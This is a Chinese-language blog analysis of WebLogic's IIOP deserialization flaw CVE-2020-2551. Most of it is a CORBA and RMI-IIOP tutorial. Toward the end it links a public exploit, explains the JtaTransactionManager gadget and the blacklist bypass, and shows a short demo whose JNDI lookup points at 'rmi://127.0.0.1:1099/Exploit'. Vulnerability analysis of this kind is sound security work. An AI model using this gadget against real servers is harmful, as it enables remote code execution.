Weblogic IIOP反序列化漏洞分析(CVE-2020-2551)


基础

IDL与Java IDL

IDL(Interface Definition Language)接口定义语言,它主要用于描述软件组件的应用程序编程接口的一种规范语言。它完成了与各种编程语言无关的方式描述接口,从而实现了不同语言之间的通信,这样就保证了跨语言跨环境的远程对象调用。

JAVA IDL是一个分布的对象技术,允许其对象在不同的语言间进行交互。它的实现是基于公共对象代理体系(Common Object Request Brokerage Architecture,CORBA),一个行业标准的分布式对象模型。每个语言支持CORBA都有他们自己的IDL Mapping映射关系,IDL和JAVA的映射关系可以参考文档Java IDL: IDL to Java Language Mapping

在jdk安装后,会附带有idlj编译器,使用idlj命令可以将IDL文件编译成java文件

COBAR

CORBA(Common ObjectRequest Broker Architecture)公共对象请求代理体系结构,是由OMG组织制订的一种标准分布式对象结构。其提出是为了解决不同应用间的通信,曾是分布式计算的主流技术。

CORBA结构分为三部分:

  • naming service
  • client side
  • servant side

他们之间的关系简单理解为:client side从naming service中获取服务方servant side信息。servant side需要在naming service中注册,这样client side在要访问具体内容时会先去naming service查找,以找到对应的servant side服务。

可以理解为目录与章节具体内容具体关系:naming service目录,servant side为内容,目的就是为了让client side快速从目录找到内容。

CORBA通信过程

在CORBA客户端和服务器之间进行远程调用模型如下:

在客户端,应用程序包含远程对象的引用,对象引用具有存根(stub)方法,存根方法是远程调用该方法的替身。存根实际上是连接到ORB(Object Request Broker)对象请求代理的,因此调用它会调用ORB的连接功能,该功能会将调用转发到服务器。

在服务器端,ORB使用框架代码将远程调用转换为对本地对象的方法调用。框架将调用和任何参数转换为其特定于实现的格式,并调用客户端想要调用的方法。方法返回时,框架代码将转换结果或错误,然后通过ORB将其发送回客户端。

在ORB之间,通信通过IIOP(the Internet Inter-ORB Protocol)互联网内部对象请求代理协议进行。基于标准TCP/IP Internet协议的IIOP提供了CORBA客户端和服务端之间通信的标准。

使用JAVA IDL编写CORBA分布式应用

编写IDL

CORBA使用IDL供用户描述程序接口, 所以这里第一步就是编写idl描述接口,创建Hello.idl文件:

1
2
3
4
5
6
7
module HelloApp
{
interface Hello
{
string sayHello();
};
};

该段代码描述了Hello接口中包含sayHello()方法,他会返回字符串类型数据。

编译生成client side classes

接着使用JAVA的IDL编译器idlj,将idl文件编译成class文件:

1
idlj -fclient Hello.idl

创建了一个新目录HelloApp,并生成了5个新文件:
-w1067

他们之间的关系如下图所示:

图片来源:An Introduction To The CORBA And Java RMI-IIOP

参考代码,简单概括一下:

  • HelloOperations接口中定义sayHello()方法
  • Hello继承了HelloOperations
  • _HelloStub类实现了Hello接口,client side使用hello接口调用servant side
  • HelloHelper类实现网络传输,数据编码和解码的工作。

详细分析一下几段核心代码,先来看一下_HelloStub.javasayHello()的实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public String sayHello ()
{
org.omg.CORBA.portable.InputStream $in = null;
try {
org.omg.CORBA.portable.OutputStream $out = _request ("sayHello", true);
$in = _invoke ($out);
String $result = $in.read_string ();
return $result;
} catch (org.omg.CORBA.portable.ApplicationException $ex) {
$in = $ex.getInputStream ();
String _id = $ex.getId ();
throw new org.omg.CORBA.MARSHAL (_id);
} catch (org.omg.CORBA.portable.RemarshalException $rm) {
return sayHello ( );
} finally {
_releaseReply ($in);
}
} // sayHello

使用org.omg.CORBA.portableInputStreamOutputStream来表示调用的请求和响应,通过_request()_invoke()方法调用得到结果。

另外在HelloHelper类中负责处理对象网络传输的编码和解码,来看一下narrow方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public static HelloApp.Hello narrow (org.omg.CORBA.Object obj)
{
if (obj == null)
return null;
else if (obj instanceof HelloApp.Hello)
return (HelloApp.Hello)obj;
else if (!obj._is_a (id ()))
throw new org.omg.CORBA.BAD_PARAM ();
else
{
org.omg.CORBA.portable.Delegate delegate = ((org.omg.CORBA.portable.ObjectImpl)obj)._get_delegate ();
HelloApp._HelloStub stub = new HelloApp._HelloStub ();
stub._set_delegate(delegate);
return stub;
}
}

接受一个org.omg.CORBA.Object对象作为参数,返回stub。

编译生成servant side

执行命令:

1
idlj -fserver Hello.idl

会生成三个文件,除了HelloPOA.java,其余都是一样的。
-w263

POA(Portable Object Adapter)是便携式对象适配器,它是CORBA规范的一部分。这里的这个POA虚类是servant side的框架类,它提供了方法帮助我们将具体实现对象注册到naming service上。

来看一下其核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public abstract class HelloPOA extends org.omg.PortableServer.Servant
implements HelloApp.HelloOperations, org.omg.CORBA.portable.InvokeHandler
{

// Constructors

private static java.util.Hashtable _methods = new java.util.Hashtable ();
static
{
_methods.put ("sayHello", new java.lang.Integer (0));
}

public org.omg.CORBA.portable.OutputStream _invoke (String $method,
org.omg.CORBA.portable.InputStream in,
org.omg.CORBA.portable.ResponseHandler $rh)
{
org.omg.CORBA.portable.OutputStream out = null;
java.lang.Integer __method = (java.lang.Integer)_methods.get ($method);
if (__method == null)
throw new org.omg.CORBA.BAD_OPERATION (0, org.omg.CORBA.CompletionStatus.COMPLETED_MAYBE);

switch (__method.intValue ())
{
case 0: // HelloApp/Hello/sayHello
{
String $result = null;
$result = this.sayHello ();
out = $rh.createReply();
out.write_string ($result);
break;
}

default:
throw new org.omg.CORBA.BAD_OPERATION (0, org.omg.CORBA.CompletionStatus.COMPLETED_MAYBE);
}

return out;
} // _invoke

//...

值得注意的是他也实现了HelloOperations接口,代码的最开始将sayHello方法放入一个hashtable中,_invoke方法中,将调用sayHello()的结果通过org.omg.CORBA.portable.ResponseHandler对象通过网络传输到client side。

此时idjl生成的全部class的关系图:

接下来,要做的就是用户自己实现client side和servant side中具体的方法操作。

servant side实现

对于servant side而言,实现一个HelloImpl类来继承HelloPOA类实现sayHello()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package HelloApp;
import org.omg.CORBA.ORB;

public class HelloImpl extends HelloPOA {

private ORB orb;

public void setORB(ORB orbVal) {
orb = orbVal;
}

@Override
public String sayHello() {
return "\nHello, world!\n";
}

}

此时的继承关系如下:

接着,需要写一个服务端HelloServer类来接受client side对HelloImpl.sayHello()的调用。

三个部分:

  • 第一部分根据传入的name service地址参数来创建,根据CORBA的规范,通过ORB获取一个名称为RootPOAPOA对象。(其中name service由jdk中的orbd提供)
  • 第二部分就是将具体实现类注册到naming service中,用orb获取到name service,将HelloImpl对象以Hello为名绑定。
  • 第三部分就是将server设置为监听状态持续运行,用于拦截并处理client side的请求,返回相应的具体实现类。

-w712

Client Side实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package HelloApp;


import org.omg.CORBA.ORB;
import org.omg.CosNaming.NamingContext;
import org.omg.CosNaming.NamingContextExt;
import org.omg.CosNaming.NamingContextExtHelper;
import org.omg.CosNaming.NamingContextHelper;

import java.util.Properties;

public class HelloClient {

static Hello helloImpl;

public static void main(String[] args) throws Exception {

ORB orb = ORB.init(args, null);

org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService");

NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef);

String name = "Hello";
// helloImpl的类型为_HelloStub,而不是真正的helloImpl
helloImpl = HelloHelper.narrow(ncRef.resolve_str(name));

System.out.println(helloImpl.sayHello());

}
}

首先和服务端一样,需要初始化ORB,通过ORB来获取NameService并将其转换成命名上下文。之后通过别名在命名上下文中获取其对应的Stub,调用Stub中的sayhello()方法,这个时候才会完成client side向servant side发送请求,POA处理请求,并将具体实现的HelloImpl包装返回给client side。

naming service实现

ORBD可以理解为ORB的守护进程(daemon),其主要负责建立客户端(client side)与服务端(servant side)的关系,同时负责查找指定的IOR(可互操作对象引用,是一种数据结构,是CORBA标准的一部分)。ORBD是由Java原生支持的一个服务,其在整个CORBA通信中充当着naming service的作用,可以通过一行命令进行启动:

1
orbd -ORBInitialPort 1050 -ORBInitialHost 127.0.0.1

执行

接着分别在HelloServerHelloClient配置name service地址:
-w1007

其次依次启动name serviceHelloServerHelloClient结果如上图所示。

此外,除了上述先获取NameServer,后通过resolve_str()方法生成(NameServer方式)的stub,还有两种:

  • 使用ORB.string_to_object生成(ORB生成方式)
  • 使用javax.naming.InitialContext.lookup()生成(JNDI生成方式)

代码分别如下:
orb方式

1
2
3
4
5
6
7
8
9
10
11
public class HelloClietORB {

static Hello helloImpl;

public static void main(String[] args) throws Exception {
ORB orb = ORB.init(args, null);
org.omg.CORBA.Object obj = orb.string_to_object("corbaname::127.0.0.1:1050#Hello");
Hello hello = HelloHelper.narrow(obj);
System.out.println(hello.sayHello());
}
}

-w1164

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class HelloClientORB2 {

static Hello helloImpl;

public static void main(String[] args) throws Exception {

ORB orb = ORB.init(args, null);
org.omg.CORBA.Object obj = orb.string_to_object("corbaloc::127.0.0.1:1050");
NamingContextExt ncRef = NamingContextExtHelper.narrow(obj);
Hello hello = HelloHelper.narrow(ncRef.resolve_str("Hello"));
System.out.println(hello.sayHello());
}

}

-w1151

JDNI方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
public class HelloClientJNDI {

static Hello helloImpl;

public static void main(String[] args) throws Exception {
ORB orb = ORB.init(args, null);
Hashtable env = new Hashtable(5, 0.75f);
env.put("java.naming.corba.orb", orb);
Context ic = new InitialContext(env);
Hello helloRef = HelloHelper.narrow((org.omg.CORBA.Object)ic.lookup("corbaname::127.0.0.1:1050#Hello"));
System.out.println(helloRef.sayHello());
}
}

-w1510

CORBA网络流量分析

servant side

服务端流量大致分为两个部分:

  • 获取Naming Service
  • 注册servant side

获取Naming Service的流量如下:
-w1584
在返回的响应中,拿到了RootPOA
-w824
对应的代码为:
-w1136

接着检测获取到的NamingService对象是否为NamingContextExt类的示例:
-w1234
对应代码:
-w1099
-w1144

最后发送op=to_nameop=rebind两个指令:
-w1522
-w778
分别为设置引用名,和设置绑定信息,来看一下op=rebind的数据包:
-w1280
这里通过IOR信息表示了servant side的相关rpc信息。

client side

这里以NameServer方式生成stub为例:

  • 获取nameservice、op=_is_a判断
  • 根据引用名获取servant side的接口Stub
  • 发送方法名,调用远程方法,得到结果
    -w1663
    分别对应代码步骤:
    -w1132

RMI-IIOP

RMI-IIOP出现以前,只有RMI和CORBA两种选择来进行分布式程序设计,二者之间不能协作。RMI-IIOP综合了RMI和CORBA的优点,克服了他们的缺点,使得程序员能更方便的编写分布式程序设计,实现分布式计算。
-w925

Demo: RMI-IIOP远程调用

参考文档Tutorial: Getting Started Using RMI-IIOP所述,一共四个步骤,对应的文件如下:

  • 定义远程接口类:HelloInterface.java
  • 编写实现类:HelloImpl.java, 实现接口HelloInterface
  • 编写服务端类:HelloServer.java, RMI服务端实例远程类,将其绑定到name service中
  • 编写客户端类:HelloClient.java, 调用远程方法sayHello()

实现接口类,必须要实现Remote远程类,且抛出java.rmi.RemoteException异常。
HelloInterface.java

1
2
3
4
5
import java.rmi.Remote;

public interface HelloInterface extends java.rmi.Remote {
public void sayHello( String from ) throws java.rmi.RemoteException;
}

实现接口类,必须写构造方法调用父类构造方法,给远程对象初始化使用,同时要实现一个方法给远程调用使用(sayHello())
HelloImpl.java

1
2
3
4
5
6
7
8
9
10
11
12
import javax.rmi.PortableRemoteObject;

public class HelloImpl extends PortableRemoteObject implements HelloInterface {
public HelloImpl() throws java.rmi.RemoteException {
super(); // invoke rmi linking and remote object initialization
}

public void sayHello( String from ) throws java.rmi.RemoteException {
System.out.println( "Hello from " + from + "!!" );
System.out.flush();
}
}

编写服务端,创建servant实例,绑定对象。
HelloServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;

public class HelloServer {
public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory";

public static void main(String[] args) {
try {
//实例化Hello servant
HelloImpl helloRef = new HelloImpl();

//使用JNDI在命名服务中发布引用
InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050");
initialContext.rebind("HelloService", helloRef);

System.out.println("Hello Server Ready...");

Thread.currentThread().join();
} catch (Exception ex) {
ex.printStackTrace();
}
}

private static InitialContext getInitialContext(String url) throws NamingException {
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
}

编写客户端类,远程调用sayHello()方法。
HelloClient.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import java.util.Hashtable;
public class HelloClient {
public static void main( String args[] ) {
Context ic;
Object objref;
HelloInterface hi;

try {

Hashtable env = new Hashtable();
env.put("java.naming.factory.initial", "com.sun.jndi.cosnaming.CNCtxFactory");
env.put("java.naming.provider.url", "iiop://127.0.0.1:1050");

ic = new InitialContext(env);

// STEP 1: Get the Object reference from the Name Service
// using JNDI call.
objref = ic.lookup("HelloService");
System.out.println("Client: Obtained a ref. to Hello server.");

// STEP 2: Narrow the object reference to the concrete type and
// invoke the method.
hi = (HelloInterface) PortableRemoteObject.narrow(
objref, HelloInterface.class);
hi.sayHello( " MARS " );

} catch( Exception e ) {
System.err.println( "Exception " + e + "Caught" );
e.printStackTrace( );
}
}
}

编译
编译远程接口实现类:

1
javac -d . -classpath . HelloImpl.java

给实现类创建stub和skeleton(简单理解即jvm中的套接字通信程序):

1
rmic -iiop HelloImpl

执行完后会创建两个文件:

  • _HelloInterface_Stub.class: 客户端的stub
  • _HelloImpl_Tie.class:服务端的skeleton
    -w377

编译:

1
javac -d . -classpath . HelloInterface.java HelloServer.java HelloClient.java

运行
开启Naming Service:

1
orbd -ORBInitialPort 1050 -ORBInitialHost 127.0.0.1

运行客户端服务端:

1
2
java -classpath .  HelloServer
java -classpath . HelloClient

上述客户端服务端代码如果在InitialContext没传入参数可以像文档中所述通过java -D传递
-w756

结果
-w820

-w887

漏洞复现

weblogic10.3.6版本,jdk8u73版本

采坑,记得weblogic版本、rmi服务、exp版本都一致

EXP:https://github.com/Y4er/CVE-2020-2551
-w1592

漏洞分析

这个该漏洞借助IIOP协议触发反序列化,结合对JtaTransactionManager类的错误过滤,导致可以结合其触发其类的JNDI注入造成RCE的效果。

JtaTransactionManager Gadget分析

weblogic中自带的一个Spring框架的包:/com/bea/core/repackaged/springframework/transaction/jta/JtaTransactionManager#readObject
-w1177
在反序列化调用readObject时,会调用initUserTransactionAndTransactionManager方法:
-w1181
接着调用this.lookupUserTransaction方法,传入成员变量this.userTransactionName:
-w1320

获取this.getJndiTemplate()后,在/com/bea/core/repackaged/springframework/jndi/JndiTemplate#lookup
-w1285
到这里通过控制userTransactionName属性,进行JNDI注入:
-w1428

demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

public class jnditest {
public static void main(String[] args){
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:1099/Exploit");
serialize(jtaTransactionManager);
deserialize();
}

public static void serialize(Object obj) {
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("jndi.ser"));
os.writeObject(obj);
os.close();
} catch (Exception e) {
e.printStackTrace();
}
}

public static void deserialize() {
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("jndi.ser"));
is.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
}

-w1294

后来翻了一下资料,在CVE-2018-3191中使用的就是该gadget,当时结合T3协议进行反序列化,修复方案将JtaTransactionManager的父类AbstractPlatformTransactionManager加入到黑名单列表了,T3协议使用的是resolveClass方法去过滤的,resolveClass方法是会读取父类的,所以T3协议这样过滤是没问题的。但是在IIOP协议这里,也是使用黑名单进行过滤,但不是使用resolveClass方法去判断的,这样默认只会判断本类的类名,而JtaTransactionManager类是不在黑名单列表里面的,它的父类才在黑名单列表里面,这样就可以反序列化JtaTransactionManager类了,从而触发JNDI注入。

Context的生成以及bind的流程(servant side)

在上文中RMI-IIOP的客户端demo中,分为三个步骤:

  • 从Name Service中获取Conetext对象
  • 从Name Service中查询指定名称所对应的引用
  • 调用远程方法
    -w1081

先来看第一个过程,无论是客户端还是服务端都要进行的的一个步骤:InitialContext方法中将env参数传入,进行初始化:
-w759
经过几次调用,一直跟进到javax/naming/spi/NamingManager.java#getInitialContext方法
-w778
可以看到在这里将我们传入的env对应的工厂类进行获取,我们来找一下,在weblogic中有多少个可以加载的工厂类,找到InitialContextFactory接口(ctrl+h查看依赖树)
-w793

这里直接来看WLInitialContextFactory类:
-w954

/wlserver_10.3/server/lib/wls-api.jar!/weblogic/jndi/Environment#getContext
-w1445

getInitialContext方法中,到这里其实就是CORBA的解析流程了,
-w1050

简单跟一下string_to_object方法,这里其实就是上文中CORBA的stub生成三种方式所对应的协议:

  • IOR
  • Corbaname
  • Corbaloc
    -w1262

再来看getORBReference方法,其实就是CORBA初始化orb获取Name Service的过程:
-w1246
对应CORBA中代码:
-w1001
再来看一下Conetext的绑定过程:/corba/j2ee/naming/ContextImpl
-w1065
可以看到这个过程其实就是CORBA生成IOR的过程,指定java类型交互的约定为tk_value,设定op为rebind_any,存储序列化数据到any类,待client side调用。

其实在分析这里之前一直有一个问题无法理解,一直以为weblogic是orbd+servant side,而我们写的exp是client side,在和@Lucifaer师傅学习后,其实对于weblogic的orbd而言,servant side和client side都是客户端,而weblogic(orbd)是在处理servant side的时候解析数据造成反序列化的问题。

到这里servant side的注册就结束了,下面来分析一下weblogic是如何对其进行解析的。

weblogic解析流程

weblogic解析请求的入口开始:weblogic/rmi/internal/wls/WLSExecuteRequest#run
-w895
完整调用栈在下文,这里选取几个比较关键的点来分析:weblogic/corba/idl/CorbaServerRef#invoke
-w1400
先是判断请求类型是否为objectMethods已经存在的,这里是rebind_any,不存在则调用this.delegate._invoke方法,然后将方法类型,IIOPInputStream数据传入_invoke函数:
-w639
rebind_any指令类型对应的var5为1,进入var2.read_any()
-w687
-w1221
这里的this.read_TypeCode()即上文中Context bind中的tk_value设置的交互类型,在weblogic/corba/idl/AnyImpl#read_value_internal对应case 30,同时这里的Any类型,在上文Context分析中正式我们将序列化数据插入的地方。
-w1052
-w1449

跟进weblogic/corba/utils/ValueHandlerImpl
-w1500

在这里var2为ObjectStreamClass,调用其readObject方法。继续跟readObject
-w1496
反射调用JtaTransactionManagerreadObjectcom/bea/core/repackaged/springframework/transaction/jta/JtaTransactionManager#readObject
-w1437
最后就是jndi注入了:
-w1464

完整调用栈:
-w820

EXP分析

在分析EXP时个人有一点疑惑,记录一下分析和解决的过程。

参考Y4er/CVE-2020-2551,这里我们结合IIOP servant side的demo来看:
-w824
-w1144

上图为EXP,下图为IIOP服务端,这里有一点需要注意的是,在demo中HelloImpl类继承了HelloInterface实现了java.rmi.Remote远程类的继承:
-w861

回过头来看JtaTransactionManager类的接口:
-w1492
正是这个原因才需要我们在编写EXP的时候,需要将jtaTransactionManager通过反射,动态转换成remote达到远程调用的目的。

最后

在自己动手分析之前,我一直把weblogic当成servant side和orbd(name Service),也无法理解为什么EXP要和COBAR的servant side一样用rebind注册,后来在@Lucifaer师傅的帮助下才理解这里没有client side的参与,而对于Name Service而言这两者都是客户端。

其次这种漏洞IIOP只是载体,JtaTransactionManager为gadget,官方修复也仅仅只是添加黑名单,IIOP的问题没根本解决,再爆一个gadget又得修,问题源源不断。更坑爹的是官网直接下的weblogic连黑名单都没有,个人觉得防御这种问题单纯靠waf流量检测根本防不住,没有反序列化特征,二进制数据流。要防范这类新问题的产生,或许只有RASP的行为检测才能解决。

最后感谢@Lucifaer师傅的帮助~

参考文章: